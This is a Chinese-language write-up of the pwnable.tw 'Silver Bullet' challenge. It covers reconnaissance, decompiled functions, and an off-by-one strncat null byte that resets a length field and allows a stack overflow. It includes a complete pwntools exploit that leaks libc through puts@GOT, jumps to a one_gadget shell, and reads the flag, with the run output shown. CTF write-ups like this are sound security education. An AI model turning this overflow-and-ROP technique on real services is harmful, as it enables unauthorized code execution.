Pwnable.tw Silver Bullet Writeup

kazma 成大資安社 創辦人/社長

Pwnable.tw - Silver Bullet

Description

Please kill the werewolf with silver bullet!

Source

https://pwnable.tw/challenge/#6

0x1 Initial Reconnaissance

題目名字取的很帥,來分析一下。

file

1
2
└─$ file silver_bullet
silver_bullet: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter ./ld-2.23.so, for GNU/Linux 2.6.32, BuildID[sha1]=8c95d92edf8bf47b6c9c450e882b7142bf656a92, not stripped

checksec

1
2
3
4
5
6
7
└─$ checksec silver_bullet
[*] '/home/kazma/pwnabletw/silver_bullet/silver_bullet'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8046000)

./silver_bullet

1
2
3
4
5
6
7
8
9
10
└─$ ./silver_bullet
+++++++++++++++++++++++++++
Silver Bullet
+++++++++++++++++++++++++++
1. Create a Silver Bullet
2. Power up Silver Bullet
3. Beat the Werewolf
4. Return
+++++++++++++++++++++++++++
Your choice :

又是選單題XD,而且難得把 canary 拔掉, 可能有 bof 之類的洞,來逆向分析一下。

0x2 Reverse Engineering

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
int __cdecl main(int argc, const char **argv, const char **envp)
{
int menu_input; // eax
int v5; // [esp+0h] [ebp-3Ch] BYREF
const char *v6; // [esp+4h] [ebp-38h]
char description[48]; // [esp+8h] [ebp-34h] BYREF
int v8; // [esp+38h] [ebp-4h]

init_proc();
v8 = 0;
memset(description, 0, sizeof(description));
v5 = 0x7FFFFFFF;
v6 = "Gin";
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
menu_input = read_int(v5, v6);
if ( menu_input != 2 )
break;
power_up(description);
}
if ( menu_input > 2 )
break;
if ( menu_input != 1 )
goto LABEL_15;
create_bullet(description);
}
if ( menu_input == 3 )
break;
if ( menu_input == 4 )
{
puts("Don't give up !");
exit(0);
}
LABEL_15:
puts("Invalid choice");
}
if ( beat(description, &v5) )
return 0;
puts("Give me more power !!");
}
}

首先是 main 的部分,基本上就是選單的運作,然後怪物的血量被設定成 0x7FFFFFFF

create_bullet

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl create_bullet(char *bullet)
{
size_t length; // [esp+0h] [ebp-4h]

if ( *bullet )
return puts("You have been created the Bullet !");
printf("Give me your description of bullet :");
read_input(bullet, 48u);
length = strlen(bullet);
printf("Your power is : %u\n", length);
*((_DWORD *)bullet + 12) = length;
return puts("Good luck !!");
}

再來是建子彈的部分,一開始我們需要先建一個子彈才能玩遊戲,create_bullet 會讓我們對一個 48 bytes 的 buffer 輸入描述然後用描述的長度當成子彈的威力。

power_up

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl power_up(char *dest)
{
char input[48]; // [esp+0h] [ebp-34h] BYREF
size_t new_power; // [esp+30h] [ebp-4h]

new_power = 0;
memset(input, 0, sizeof(input));
if ( !*dest )
return puts("You need create the bullet first !");
if ( *((_DWORD *)dest + 12) > 47u )
return puts("You can't power up any more !");
printf("Give me your another description of bullet :");
read_input(input, 48 - *((_DWORD *)dest + 12));
strncat(dest, input, 48 - *((_DWORD *)dest + 12));
new_power = strlen(input) + *((_DWORD *)dest + 12);
printf("Your new power is : %u\n", new_power);
*((_DWORD *)dest + 12) = new_power;
return puts("Enjoy it !");
}

創建子彈後可以加強他的威力,他會先去判斷子彈目前的敘述長度有沒有超過 47,超過就掰掰,沒有的話就把 48 減掉目前的長度作為這次輸入的長度限制,最後再把目前的長度加上這次輸入的長度作為新的長度。

beat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __cdecl beat(int a1, int a2)
{
int result; // eax

if ( *(_BYTE *)a1 )
{
puts(">----------- Werewolf -----------<");
printf(" + NAME : %s\n", *(const char **)(a2 + 4));
printf(" + HP : %d\n", *(_DWORD *)a2);
puts(">--------------------------------<");
puts("Try to beat it .....");
usleep(0xF4240u);
*(_DWORD *)a2 -= *(_DWORD *)(a1 + 48);
if ( *(int *)a2 <= 0 )
{
puts("Oh ! You win !!");
result = 1;
}
else
{
puts("Sorry ... It still alive !!");
result = 0;
}
}
else
{
puts("You need create the bullet first !");
result = 0;
}
return result;
}

最後是 beat, 主要就是判斷子彈威力有沒有大於怪獸血量而已,這邊沒什特別的。

0x3 Exploitation

這題的漏洞出在 strncat 會在字串拼接後加上 null byte, 又很幸運的是子彈敘述的 buffer 後面緊接著的是子彈長度,所以如果我們把 buffer 填滿後就可以 off one byte 覆蓋掉長度為零,完整攻擊思路如下:

  1. 我們一開始建一顆敘述不要超過 47 的銀彈
  2. 然後增強他的威力讓他長度加起來剛好 48,如此就可以讓子彈長度變成: 0 加上這次輸入的長度。
  3. 因為我們成功讓長度變小了,所以可以再次增加威力讓他 overflow。
  4. Overflow 時我們可以順便把敘述長度的後三個 bytes 改成 \xff,因為小端緒的緣故我們的威力就大於怪物血量,待會呼叫 beat 就可以痛扁大魔王並且贏得遊戲踩到 main 的 return 幫助我們跳到 rop chain 上。
  5. 然後我們用 puts 去 leak 某個 GOT 算出 libc_base,再跳回 main 然後重複前面的行為再跳到 one_gadget 或是 system(‘/bin/sh’) 上。
  6. Pwned!!!

0x4 Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import warnings

from pwn import *

warnings.filterwarnings("ignore", category=BytesWarning)

context.arch = "i386"

host = "chall.pwnable.tw"
port = 10103

elf = ELF("./silver_bullet")
l = ELF("./libc_32.so.6")


def create(data):
r.sendafter(b":", "1")
r.sendafter(b":", data)


def power(data):
r.sendafter(b":", "2")
r.sendafter(b":", data)


def beat():
r.sendafter(b":", "3")


if len(sys.argv) > 1 and sys.argv[1] == "-r":
r = remote(host, port)
else:
r = process("./silver_bullet")

create(b"a" * 47)
power(b"b" * 1)

p = flat(b"\xff" * 7, elf.plt["puts"], elf.sym["main"], elf.got["puts"])
power(p)
beat()

r.recvuntil(b"Oh ! You win !!\n")
libc_base = u32(r.recv(4)) - l.sym["puts"]
success("libc_base -> %s" % hex(libc_base))

og = libc_base + 0x5F065

create(b"a" * 47)
power(b"b")
p2 = flat(b"\xff" * 7, og)
power(p2)
beat()

sleep(1)
r.sendline("cat /home/`whoami`/flag")
r.interactive()

result:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
└─$ python exploit.py -r
[*] '/home/kazma/pwnabletw/silver_bullet/silver_bullet'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8046000)
[*] '/home/kazma/pwnabletw/silver_bullet/libc_32.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to chall.pwnable.tw on port 10103: Done
[+] libc_base -> 0xf75a9000
[*] Switching to interactive mode
Give me your another description of bullet :Your new power is : 4294967052
Enjoy it !
+++++++++++++++++++++++++++
Silver Bullet
+++++++++++++++++++++++++++
1. Create a Silver Bullet
2. Power up Silver Bullet
3. Beat the Werewolf
4. Return
+++++++++++++++++++++++++++
Your choice :>----------- Werewolf -----------<
+ NAME : Gin
+ HP : 2147483647
>--------------------------------<
Try to beat it .....
Oh ! You win !!
FLAG{uS1ng_S1lv3r_bu1l3t_7o_Pwn_th3_w0rld}
$

Pwned!!!

  • Title: Pwnable.tw Silver Bullet Writeup
  • Author: kazma
  • Created at : 2024-06-07 02:50:11
  • Updated at : 2024-06-07 02:50:11
  • Link: https://kazma.tw/2024/06/07/Pwnable-tw-Silver-Bullet-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
 Comments